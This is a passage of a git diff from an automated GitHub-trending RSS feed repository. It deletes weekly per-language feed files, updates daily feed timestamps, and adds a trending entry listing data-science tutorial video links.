kakounescript/weekly/index.xml delete mode 100644 kicad-layout/weekly/index.xml delete mode 100644 kicad-legacy-layout/weekly/index.xml delete mode 100644 kicad-schematic/weekly/index.xml delete mode 100644 kit/weekly/index.xml delete mode 100644 kotlin/weekly/index.xml delete mode 100644 krl/weekly/index.xml delete mode 100644 kusto/weekly/index.xml delete mode 100644 kvlang/weekly/index.xml delete mode 100644 labview/weekly/index.xml delete mode 100644 lark/weekly/index.xml delete mode 100644 lasso/weekly/index.xml delete mode 100644 latte/weekly/index.xml delete mode 100644 lean/weekly/index.xml delete mode 100644 less/weekly/index.xml delete mode 100644 lex/weekly/index.xml delete mode 100644 lfe/weekly/index.xml delete mode 100644 ligolang/weekly/index.xml delete mode 100644 lilypond/weekly/index.xml delete mode 100644 limbo/weekly/index.xml delete mode 100644 linker-script/weekly/index.xml delete mode 100644 linux-kernel-module/weekly/index.xml delete mode 100644 liquid/weekly/index.xml delete mode 100644 literate-agda/weekly/index.xml delete mode 100644 literate-coffeescript/weekly/index.xml delete mode 100644 literate-haskell/weekly/index.xml delete mode 100644 livescript/weekly/index.xml delete mode 100644 llvm/weekly/index.xml delete mode 100644 logos/weekly/index.xml delete mode 100644 logtalk/weekly/index.xml delete mode 100644 lolcode/weekly/index.xml delete mode 100644 lookml/weekly/index.xml delete mode 100644 loomscript/weekly/index.xml delete mode 100644 lsl/weekly/index.xml delete mode 100644 ltspice-symbol/weekly/index.xml delete mode 100644 lua/weekly/index.xml delete mode 100644 m/weekly/index.xml delete mode 100644 m4/weekly/index.xml delete mode 100644 m4sugar/weekly/index.xml delete mode 100644 macaulay2/weekly/index.xml delete mode 100644 makefile/weekly/index.xml delete mode 100644 mako/weekly/index.xml delete mode 100644 markdown/weekly/index.xml delete mode 100644 marko/weekly/index.xml delete mode 100644 mask/weekly/index.xml delete mode 100644 mathematica/weekly/index.xml delete mode 100644 matlab/weekly/index.xml delete mode 100644 maven-pom/weekly/index.xml delete mode 100644 max/weekly/index.xml delete mode 100644 maxscript/weekly/index.xml delete mode 100644 mcfunction/weekly/index.xml delete mode 100644 mercury/weekly/index.xml delete mode 100644 meson/weekly/index.xml delete mode 100644 metal/weekly/index.xml delete mode 100644 microsoft-developer-studio-project/weekly/index.xml delete mode 100644 microsoft-visual-studio-solution/weekly/index.xml delete mode 100644 minid/weekly/index.xml delete mode 100644 mint/weekly/index.xml delete mode 100644 mirah/weekly/index.xml delete mode 100644 mirc-script/weekly/index.xml delete mode 100644 mlir/weekly/index.xml delete mode 100644 modelica/weekly/index.xml delete mode 100644 modula-2/weekly/index.xml delete mode 100644 modula-3/weekly/index.xml delete mode 100644 module-management-system/weekly/index.xml delete mode 100644 monkey-c/weekly/index.xml delete mode 100644 monkey/weekly/index.xml delete mode 100644 moocode/weekly/index.xml delete mode 100644 moonscript/weekly/index.xml delete mode 100644 motoko/weekly/index.xml delete mode 100644 motorola-68k-assembly/weekly/index.xml delete mode 100644 mql4/weekly/index.xml delete mode 100644 mql5/weekly/index.xml delete mode 100644 mtml/weekly/index.xml delete mode 100644 muf/weekly/index.xml delete mode 100644 mupad/weekly/index.xml delete mode 100644 muse/weekly/index.xml delete mode 100644 mustache/weekly/index.xml delete mode 100644 myghty/weekly/index.xml delete mode 100644 nanorc/weekly/index.xml delete mode 100644 nasl/weekly/index.xml delete mode 100644 ncl/weekly/index.xml delete mode 100644 nearley/weekly/index.xml delete mode 100644 nemerle/weekly/index.xml delete mode 100644 neon/weekly/index.xml delete mode 100644 nesc/weekly/index.xml delete mode 100644 netlinx+erb/weekly/index.xml delete mode 100644 netlinx/weekly/index.xml delete mode 100644 netlogo/weekly/index.xml delete mode 100644 newlisp/weekly/index.xml delete mode 100644 nextflow/weekly/index.xml delete mode 100644 nginx/weekly/index.xml delete mode 100644 nim/weekly/index.xml delete mode 100644 ninja/weekly/index.xml delete mode 100644 nit/weekly/index.xml delete mode 100644 nix/weekly/index.xml delete mode 100644 nl/weekly/index.xml delete mode 100644 npm-config/weekly/index.xml delete mode 100644 nsis/weekly/index.xml delete mode 100644 nu/weekly/index.xml delete mode 100644 numpy/weekly/index.xml delete mode 100644 nunjucks/weekly/index.xml delete mode 100644 nwscript/weekly/index.xml delete mode 100644 objdump/weekly/index.xml delete mode 100644 object-data-instance-notation/weekly/index.xml delete mode 100644 objective-c++/weekly/index.xml delete mode 100644 objective-c/weekly/index.xml delete mode 100644 objective-j/weekly/index.xml delete mode 100644 objectscript/weekly/index.xml delete mode 100644 ocaml/weekly/index.xml delete mode 100644 odin/weekly/index.xml delete mode 100644 omgrofl/weekly/index.xml delete mode 100644 ooc/weekly/index.xml delete mode 100644 opa/weekly/index.xml delete mode 100644 opal/weekly/index.xml delete mode 100644 open-policy-agent/weekly/index.xml delete mode 100644 opencl/weekly/index.xml delete mode 100644 openedge-abl/weekly/index.xml delete mode 100644 openqasm/weekly/index.xml delete mode 100644 openrc-runscript/weekly/index.xml delete mode 100644 openscad/weekly/index.xml delete mode 100644 openstep-property-list/weekly/index.xml delete mode 100644 opentype-feature-file/weekly/index.xml delete mode 100644 org/weekly/index.xml delete mode 100644 ox/weekly/index.xml delete mode 100644 oxygene/weekly/index.xml delete mode 100644 oz/weekly/index.xml delete mode 100644 p4/weekly/index.xml delete mode 100644 pan/weekly/index.xml delete mode 100644 papyrus/weekly/index.xml delete mode 100644 parrot-assembly/weekly/index.xml delete mode 100644 parrot-internal-representation/weekly/index.xml delete mode 100644 parrot/weekly/index.xml delete mode 100644 pascal/weekly/index.xml delete mode 100644 pawn/weekly/index.xml delete mode 100644 peg.js/weekly/index.xml delete mode 100644 pep8/weekly/index.xml delete mode 100644 perl/weekly/index.xml delete mode 100644 php/weekly/index.xml delete mode 100644 pic/weekly/index.xml delete mode 100644 pickle/weekly/index.xml delete mode 100644 picolisp/weekly/index.xml delete mode 100644 piglatin/weekly/index.xml delete mode 100644 pike/weekly/index.xml delete mode 100644 plantuml/weekly/index.xml delete mode 100644 plpgsql/weekly/index.xml delete mode 100644 plsql/weekly/index.xml delete mode 100644 pod-6/weekly/index.xml delete mode 100644 pod/weekly/index.xml delete mode 100644 pogoscript/weekly/index.xml delete mode 100644 pony/weekly/index.xml delete mode 100644 postcss/weekly/index.xml delete mode 100644 postscript/weekly/index.xml delete mode 100644 pov-ray-sdl/weekly/index.xml delete mode 100644 powerbuilder/weekly/index.xml delete mode 100644 powershell/daily/index.xml delete mode 100644 powershell/weekly/index.xml delete mode 100644 prisma/weekly/index.xml delete mode 100644 processing/weekly/index.xml delete mode 100644 procfile/weekly/index.xml delete mode 100644 proguard/weekly/index.xml delete mode 100644 prolog/weekly/index.xml delete mode 100644 promela/weekly/index.xml delete mode 100644 propeller-spin/weekly/index.xml delete mode 100644 protocol-buffer-text-format/weekly/index.xml delete mode 100644 protocol-buffer/weekly/index.xml delete mode 100644 public-key/weekly/index.xml delete mode 100644 pug/weekly/index.xml delete mode 100644 puppet/weekly/index.xml delete mode 100644 pure-data/weekly/index.xml delete mode 100644 purebasic/weekly/index.xml delete mode 100644 purescript/weekly/index.xml delete mode 100644 python-console/weekly/index.xml delete mode 100644 python-traceback/weekly/index.xml delete mode 100644 python/weekly/index.xml delete mode 100644 q%23/weekly/index.xml delete mode 100644 q/weekly/index.xml delete mode 100644 qmake/weekly/index.xml delete mode 100644 qml/weekly/index.xml delete mode 100644 qt-script/weekly/index.xml delete mode 100644 quake/weekly/index.xml delete mode 100644 r/weekly/index.xml delete mode 100644 racket/weekly/index.xml delete mode 100644 ragel/weekly/index.xml delete mode 100644 raku/weekly/index.xml delete mode 100644 raml/weekly/index.xml delete mode 100644 rascal/weekly/index.xml delete mode 100644 raw-token-data/weekly/index.xml delete mode 100644 rdoc/weekly/index.xml delete mode 100644 readline-config/weekly/index.xml delete mode 100644 realbasic/weekly/index.xml delete mode 100644 reason/weekly/index.xml delete mode 100644 rebol/weekly/index.xml delete mode 100644 record-jar/weekly/index.xml delete mode 100644 red/weekly/index.xml delete mode 100644 redcode/weekly/index.xml delete mode 100644 redirect-rules/weekly/index.xml delete mode 100644 regular-expression/weekly/index.xml delete mode 100644 ren'py/weekly/index.xml delete mode 100644 renderscript/weekly/index.xml delete mode 100644 rescript/weekly/index.xml delete mode 100644 restructuredtext/weekly/index.xml delete mode 100644 rexx/weekly/index.xml delete mode 100644 rich-text-format/weekly/index.xml delete mode 100644 ring/weekly/index.xml delete mode 100644 riot/weekly/index.xml delete mode 100644 rmarkdown/weekly/index.xml delete mode 100644 robotframework/weekly/index.xml delete mode 100644 robots.txt/weekly/index.xml delete mode 100644 roff-manpage/weekly/index.xml delete mode 100644 roff/weekly/index.xml delete mode 100644 rouge/weekly/index.xml delete mode 100644 rpc/weekly/index.xml delete mode 100644 rpgle/weekly/index.xml delete mode 100644 rpm-spec/weekly/index.xml delete mode 100644 ruby/weekly/index.xml delete mode 100644 runoff/weekly/index.xml delete mode 100644 rust/weekly/index.xml delete mode 100644 sage/weekly/index.xml delete mode 100644 saltstack/weekly/index.xml delete mode 100644 sas/weekly/index.xml delete mode 100644 sass/weekly/index.xml delete mode 100644 scala/weekly/index.xml delete mode 100644 scaml/weekly/index.xml delete mode 100644 scheme/weekly/index.xml delete mode 100644 scilab/weekly/index.xml delete mode 100644 scss/weekly/index.xml delete mode 100644 sed/weekly/index.xml delete mode 100644 self/weekly/index.xml delete mode 100644 selinux-policy/weekly/index.xml delete mode 100644 shaderlab/weekly/index.xml delete mode 100644 shell/weekly/index.xml delete mode 100644 shellcheck-config/weekly/index.xml delete mode 100644 shellsession/weekly/index.xml delete mode 100644 shen/weekly/index.xml delete mode 100644 sieve/weekly/index.xml delete mode 100644 singularity/weekly/index.xml delete mode 100644 slash/weekly/index.xml delete mode 100644 slice/weekly/index.xml delete mode 100644 slim/weekly/index.xml delete mode 100644 smali/weekly/index.xml delete mode 100644 smalltalk/weekly/index.xml delete mode 100644 smarty/weekly/index.xml delete mode 100644 smpl/weekly/index.xml delete mode 100644 smt/weekly/index.xml delete mode 100644 solidity/weekly/index.xml delete mode 100644 soong/weekly/index.xml delete mode 100644 sourcepawn/weekly/index.xml delete mode 100644 sparql/weekly/index.xml delete mode 100644 spline-font-database/weekly/index.xml delete mode 100644 sqf/weekly/index.xml delete mode 100644 sql/weekly/index.xml delete mode 100644 sqlpl/weekly/index.xml delete mode 100644 squirrel/weekly/index.xml delete mode 100644 srecode-template/weekly/index.xml delete mode 100644 ssh-config/weekly/index.xml delete mode 100644 stan/weekly/index.xml delete mode 100644 standard-ml/weekly/index.xml delete mode 100644 starlark/weekly/index.xml delete mode 100644 stata/weekly/index.xml delete mode 100644 ston/weekly/index.xml delete mode 100644 stringtemplate/weekly/index.xml delete mode 100644 stylus/weekly/index.xml delete mode 100644 subrip-text/weekly/index.xml delete mode 100644 sugarss/weekly/index.xml delete mode 100644 supercollider/weekly/index.xml delete mode 100644 svelte/weekly/index.xml delete mode 100644 svg/weekly/index.xml delete mode 100644 swift/weekly/index.xml delete mode 100644 swig/weekly/index.xml delete mode 100644 systemverilog/weekly/index.xml delete mode 100644 talon/weekly/index.xml delete mode 100644 tcl/weekly/index.xml delete mode 100644 tcsh/weekly/index.xml delete mode 100644 tea/weekly/index.xml delete mode 100644 terra/weekly/index.xml delete mode 100644 tex/weekly/index.xml delete mode 100644 texinfo/weekly/index.xml delete mode 100644 text/weekly/index.xml delete mode 100644 textile/weekly/index.xml delete mode 100644 textmate-properties/weekly/index.xml delete mode 100644 thrift/weekly/index.xml delete mode 100644 ti-program/weekly/index.xml delete mode 100644 tla/weekly/index.xml delete mode 100644 toml/weekly/index.xml delete mode 100644 tsql/weekly/index.xml delete mode 100644 tsv/weekly/index.xml delete mode 100644 tsx/weekly/index.xml delete mode 100644 turing/weekly/index.xml delete mode 100644 turtle/weekly/index.xml delete mode 100644 twig/weekly/index.xml delete mode 100644 txl/weekly/index.xml delete mode 100644 type-language/weekly/index.xml delete mode 100644 typescript/weekly/index.xml delete mode 100644 unified-parallel-c/weekly/index.xml delete mode 100644 unity3d-asset/weekly/index.xml delete mode 100644 unix-assembly/weekly/index.xml delete mode 100644 unknown/weekly/index.xml delete mode 100644 uno/weekly/index.xml delete mode 100644 unrealscript/weekly/index.xml delete mode 100644 urweb/weekly/index.xml delete mode 100644 v/weekly/index.xml delete mode 100644 vala/weekly/index.xml delete mode 100644 valve-data-format/weekly/index.xml delete mode 100644 vba/weekly/index.xml delete mode 100644 vbscript/weekly/index.xml delete mode 100644 vcl/weekly/index.xml delete mode 100644 verilog/weekly/index.xml delete mode 100644 vhdl/weekly/index.xml delete mode 100644 vim-help-file/weekly/index.xml delete mode 100644 vim-script/weekly/index.xml delete mode 100644 vim-snippet/weekly/index.xml delete mode 100644 visual-basic-.net/weekly/index.xml delete mode 100644 volt/weekly/index.xml delete mode 100644 vue/weekly/index.xml delete mode 100644 vyper/weekly/index.xml delete mode 100644 wavefront-material/weekly/index.xml delete mode 100644 wavefront-object/weekly/index.xml delete mode 100644 wdl/weekly/index.xml delete mode 100644 web-ontology-language/weekly/index.xml delete mode 100644 webassembly/weekly/index.xml delete mode 100644 webidl/weekly/index.xml delete mode 100644 webvtt/weekly/index.xml delete mode 100644 wget-config/weekly/index.xml delete mode 100644 wikitext/weekly/index.xml delete mode 100644 windows-registry-entries/weekly/index.xml delete mode 100644 wisp/weekly/index.xml delete mode 100644 witcher-script/weekly/index.xml delete mode 100644 wollok/weekly/index.xml delete mode 100644 world-of-warcraft-addon-data/weekly/index.xml delete mode 100644 x-bitmap/weekly/index.xml delete mode 100644 x-font-directory-index/weekly/index.xml delete mode 100644 x-pixmap/weekly/index.xml delete mode 100644 x10/weekly/index.xml delete mode 100644 xbase/weekly/index.xml delete mode 100644 xc/weekly/index.xml delete mode 100644 xcompose/weekly/index.xml delete mode 100644 xml-property-list/weekly/index.xml delete mode 100644 xml/weekly/index.xml delete mode 100644 xojo/weekly/index.xml delete mode 100644 xonsh/weekly/index.xml delete mode 100644 xpages/weekly/index.xml delete mode 100644 xproc/weekly/index.xml delete mode 100644 xquery/weekly/index.xml delete mode 100644 xs/weekly/index.xml delete mode 100644 xslt/weekly/index.xml delete mode 100644 xtend/weekly/index.xml delete mode 100644 yacc/weekly/index.xml delete mode 100644 yaml/weekly/index.xml delete mode 100644 yang/weekly/index.xml delete mode 100644 yara/weekly/index.xml delete mode 100644 yasnippet/weekly/index.xml delete mode 100644 zap/weekly/index.xml delete mode 100644 zeek/weekly/index.xml delete mode 100644 zenscript/weekly/index.xml delete mode 100644 zephir/weekly/index.xml delete mode 100644 zig/weekly/index.xml delete mode 100644 zil/weekly/index.xml delete mode 100644 zimpl/weekly/index.xml diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml index 65cb0821e15..68249cad045 100644 --- a/1c-enterprise/daily/index.xml +++ b/1c-enterprise/daily/index.xml @@ -1,7 +1,7 @@ GitHub 1C Enterprise Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:25:47Z + 2023-09-25T01:23:47Z Daily Trending of 1C Enterprise in GitHub \ No newline at end of file diff --git a/1c-enterprise/weekly/index.xml b/1c-enterprise/weekly/index.xml deleted file mode 100644 index 2615ccc94ca..00000000000 --- a/1c-enterprise/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 1C Enterprise Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:21Z - Weekly Trending of 1C Enterprise in GitHub - - \ No newline at end of file diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml index 047a14c31a2..6222a8d8d3f 100644 --- a/2-dimensional-array/daily/index.xml +++ b/2-dimensional-array/daily/index.xml @@ -1,7 +1,7 @@ GitHub 2-Dimensional Array Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:06Z + 2023-09-25T01:24:28Z Daily Trending of 2-Dimensional Array in GitHub \ No newline at end of file diff --git a/2-dimensional-array/weekly/index.xml b/2-dimensional-array/weekly/index.xml deleted file mode 100644 index a564e899980..00000000000 --- a/2-dimensional-array/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 2-Dimensional Array Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:42Z - Weekly Trending of 2-Dimensional Array in GitHub - - \ No newline at end of file diff --git a/4d/daily/index.xml b/4d/daily/index.xml index 6cf6d9599a1..2930d103548 100644 --- a/4d/daily/index.xml +++ b/4d/daily/index.xml @@ -1,7 +1,7 @@ GitHub 4D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:05Z + 2023-09-25T01:24:26Z Daily Trending of 4D in GitHub \ No newline at end of file diff --git a/4d/weekly/index.xml b/4d/weekly/index.xml deleted file mode 100644 index ed13b209fe4..00000000000 --- a/4d/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 4D Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:43Z - Weekly Trending of 4D in GitHub - - \ No newline at end of file diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml index a9a764819c1..a7e38064428 100644 --- a/abap-cds/daily/index.xml +++ b/abap-cds/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP CDS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:06Z + 2023-09-25T01:24:27Z Daily Trending of ABAP CDS in GitHub \ No newline at end of file diff --git a/abap-cds/weekly/index.xml b/abap-cds/weekly/index.xml deleted file mode 100644 index e65f48489ad..00000000000 --- a/abap-cds/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABAP CDS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:42Z - Weekly Trending of ABAP CDS in GitHub - - \ No newline at end of file diff --git a/abap/daily/index.xml b/abap/daily/index.xml index 6e5a79df6fd..be1841e5865 100644 --- a/abap/daily/index.xml +++ b/abap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:07Z + 2023-09-25T01:24:29Z Daily Trending of ABAP in GitHub \ No newline at end of file diff --git a/abap/weekly/index.xml b/abap/weekly/index.xml deleted file mode 100644 index 3d23eb83ab0..00000000000 --- a/abap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:44Z - Weekly Trending of ABAP in GitHub - - \ No newline at end of file diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml index 0bf411350bb..0464ab1cd2c 100644 --- a/abnf/daily/index.xml +++ b/abnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:09Z + 2023-09-25T01:24:30Z Daily Trending of ABNF in GitHub \ No newline at end of file diff --git a/abnf/weekly/index.xml b/abnf/weekly/index.xml deleted file mode 100644 index a83b94d84bc..00000000000 --- a/abnf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABNF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:46Z - Weekly Trending of ABNF in GitHub - - \ No newline at end of file diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml index 748b0d2d138..9c34d0afa39 100644 --- a/actionscript/daily/index.xml +++ b/actionscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ActionScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:12Z + 2023-09-25T01:24:31Z Daily Trending of ActionScript in GitHub \ No newline at end of file diff --git a/actionscript/weekly/index.xml b/actionscript/weekly/index.xml deleted file mode 100644 index 0e060dc28db..00000000000 --- a/actionscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ActionScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:49Z - Weekly Trending of ActionScript in GitHub - - \ No newline at end of file diff --git a/ada/daily/index.xml b/ada/daily/index.xml index 83f0936fb72..7550023bf08 100644 --- a/ada/daily/index.xml +++ b/ada/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ada Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:09Z + 2023-09-25T01:24:32Z Daily Trending of Ada in GitHub \ No newline at end of file diff --git a/ada/weekly/index.xml b/ada/weekly/index.xml deleted file mode 100644 index 1ee23ecbe25..00000000000 --- a/ada/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ada Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:46Z - Weekly Trending of Ada in GitHub - - \ No newline at end of file diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml index fd04acfada9..57e6a5a8fa0 100644 --- a/adobe-font-metrics/daily/index.xml +++ b/adobe-font-metrics/daily/index.xml @@ -1,7 +1,7 @@ GitHub Adobe Font Metrics Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:13Z + 2023-09-25T01:24:34Z Daily Trending of Adobe Font Metrics in GitHub \ No newline at end of file diff --git a/adobe-font-metrics/weekly/index.xml b/adobe-font-metrics/weekly/index.xml deleted file mode 100644 index 86186a770d2..00000000000 --- a/adobe-font-metrics/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Adobe Font Metrics Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:52Z - Weekly Trending of Adobe Font Metrics in GitHub - - \ No newline at end of file diff --git a/agda/daily/index.xml b/agda/daily/index.xml index 67156e5a323..ca6d8e8e929 100644 --- a/agda/daily/index.xml +++ b/agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:15Z + 2023-09-25T01:24:35Z Daily Trending of Agda in GitHub \ No newline at end of file diff --git a/agda/weekly/index.xml b/agda/weekly/index.xml deleted file mode 100644 index dac49ff4136..00000000000 --- a/agda/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Agda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:51Z - Weekly Trending of Agda in GitHub - - \ No newline at end of file diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml index ef01226aa02..c668cb1f530 100644 --- a/ags-script/daily/index.xml +++ b/ags-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub AGS Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:13Z + 2023-09-25T01:24:37Z Daily Trending of AGS Script in GitHub \ No newline at end of file diff --git a/ags-script/weekly/index.xml b/ags-script/weekly/index.xml deleted file mode 100644 index b30c3aa0537..00000000000 --- a/ags-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AGS Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:53Z - Weekly Trending of AGS Script in GitHub - - \ No newline at end of file diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml index cd98dd56db3..1044ff18def 100644 --- a/aidl/daily/index.xml +++ b/aidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:14Z + 2023-09-25T01:24:36Z Daily Trending of AIDL in GitHub \ No newline at end of file diff --git a/aidl/weekly/index.xml b/aidl/weekly/index.xml deleted file mode 100644 index 594cdcf6491..00000000000 --- a/aidl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AIDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:50Z - Weekly Trending of AIDL in GitHub - - \ No newline at end of file diff --git a/al/daily/index.xml b/al/daily/index.xml index fd304697f1c..53da1fab569 100644 --- a/al/daily/index.xml +++ b/al/daily/index.xml @@ -1,7 +1,7 @@ GitHub AL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:19Z + 2023-09-25T01:24:39Z Daily Trending of AL in GitHub \ No newline at end of file diff --git a/al/weekly/index.xml b/al/weekly/index.xml deleted file mode 100644 index 77ca8c4ccdb..00000000000 --- a/al/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:54Z - Weekly Trending of AL in GitHub - - \ No newline at end of file diff --git a/all/daily/index.xml b/all/daily/index.xml index 0e172607b7a..43cec5a12f9 100644 --- a/all/daily/index.xml +++ b/all/daily/index.xml @@ -1,28 +1,28 @@ GitHub All Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:25:56Z + 2023-09-25T01:23:55Z Daily Trending of All Languages in GitHub - krishnaik06/The-Grand-Complete-Data-Science-Materials - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/krishnaik06/The-Grand-Complete-Data-Science-Materials - - <p></p><hr><h1>The Grand Complete Data Science Guide With Videos And Materials</h1> <h2>1. Complete Python Playlist For Data Analytics And Data Science</h2> <ul> <li>Python In English: <a href="https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVNUL99R4bDlVYsncUNvwUBB">https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVNUL99R4bDlVYsncUNvwUBB</a></li> <li>Python In Hindi: <a href="https://www.youtube.com/watch?v=MJd9d9Mpxg0&amp;list=PLTDARY42LDV4qqiJd1Z1tShm3mp9-rP4v">https://www.youtube.com/watch?v=MJd9d9Mpxg0&amp;list=PLTDARY42LDV4qqiJd1Z1tShm3mp9-rP4v</a></li> </ul> <h2>2. Complete Stats Playlist For Data Analytics And Data Science</h2> <ul> <li>Stats In English One Shot: <a href="https://www.youtube.com/watch?v=LZzq1zSL1bs">https://www.youtube.com/watch?v=LZzq1zSL1bs</a></li> <li>Stats In English Detailed Playlist: <a href="https://www.youtube.com/watch?v=zRUliXuwJCQ&amp;list=PLZoTAELRMXVMhVyr3Ri9IQ-t5QPBtxzJO">https://www.youtube.com/watch?v=zRUliXuwJCQ&amp;list=PLZoTAELRMXVMhVyr3Ri9IQ-t5QPBtxzJO</a></li> <li>Stats In Hindi Detailed Playlist: <a href="https://www.youtube.com/watch?v=7y3XckjaVOw&amp;list=PLTDARY42LDV6YHSRo669_uDDGmUEmQnDJ">https://www.youtube.com/watch?v=7y3XckjaVOw&amp;list=PLTDARY42LDV6YHSRo669_uDDGmUEmQnDJ</a></li> </ul> <h2>3. Complete SQL For Data Analytics And Data Science</h2> <ul> <li>Complete SQl Detailed Playlist English: <a href="https://www.youtube.com/watch?v=us1XyayQ6fU&amp;list=PLZoTAELRMXVNMRWlVf0bDDSxNEn38u9Cl">https://www.youtube.com/watch?v=us1XyayQ6fU&amp;list=PLZoTAELRMXVNMRWlVf0bDDSxNEn38u9Cl</a></li> <li>Complete SQL Detailed Playlist Hindi : <strong>Coming Soon</strong></li> <li>Complete SQL One Shot : <strong>Coming Soon</strong></li> </ul> <h2>4. Git And Github Tutorials</h2> <ul> <li>Git and Github Tutorials In English: <a href="https://www.youtube.com/watch?v=GW7B6vwktPA&amp;list=PLZoTAELRMXVOSsBerFZKsdCaA4RYr4RGW">https://www.youtube.com/watch?v=GW7B6vwktPA&amp;list=PLZoTAELRMXVOSsBerFZKsdCaA4RYr4RGW</a></li> <li>Git and Github Tutorials In Hindi: <a href="https://www.youtube.com/watch?v=8KtY8ihZ8ME">https://www.youtube.com/watch?v=8KtY8ihZ8ME</a></li> </ul> <h2>5. EDA And Feature Engineering And Feature Selection</h2> <ul> <li>Feature Engineering Detailed Playlist: <a href="https://www.youtube.com/watch?v=6WDFfaYtN6s&amp;list=PLZoTAELRMXVPwYGE2PXD3x0bfKnR0cJjN">https://www.youtube.com/watch?v=6WDFfaYtN6s&amp;list=PLZoTAELRMXVPwYGE2PXD3x0bfKnR0cJjN</a></li> <li>Feature Selection Detailed Playlist: <a href="https://www.youtube.com/watch?v=uMlU2JaiOd8&amp;list=PLZoTAELRMXVPgjwJ8VyRoqmfNs2CJwhVH">https://www.youtube.com/watch?v=uMlU2JaiOd8&amp;list=PLZoTAELRMXVPgjwJ8VyRoqmfNs2CJwhVH</a></li> <li>EDA Detailed Playlist : <a href="https://www.youtube.com/watch?v=F-X82zhIfBo&amp;list=PLxvLUL96MOO6F8x2fLgFlNrJVcKPQuS3a">https://www.youtube.com/watch?v=F-X82zhIfBo&amp;list=PLxvLUL96MOO6F8x2fLgFlNrJVcKPQuS3a</a></li> </ul> <h2>6. Machine Learning Playlist</h2> <ul> <li>Detailed ML Playlist In English: <a href="https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVPBTrWtJkn3wWQxZkmTXGwe">https://www.youtube.com/watch?v=bPrmA1SEN2k&amp;list=PLZoTAELRMXVPBTrWtJkn3wWQxZkmTXGwe</a></li> <li>New ML Playlist 2023 In English(In Progress)- <a href="https://www.youtube.com/watch?v=ip4WxEZwEPc&amp;list=PLZoTAELRMXVPMbdMTjwolBI0cJcvASePD">https://www.youtube.com/watch?v=ip4WxEZwEPc&amp;list=PLZoTAELRMXVPMbdMTjwolBI0cJcvASePD</a></li> <li>Machine Learning One Shot In English: <a href="https://www.youtube.com/watch?v=JxgmHe2NyeY">https://www.youtube.com/watch?v=JxgmHe2NyeY</a></li> <li>Machine Learning Playlist In Hindi: <a 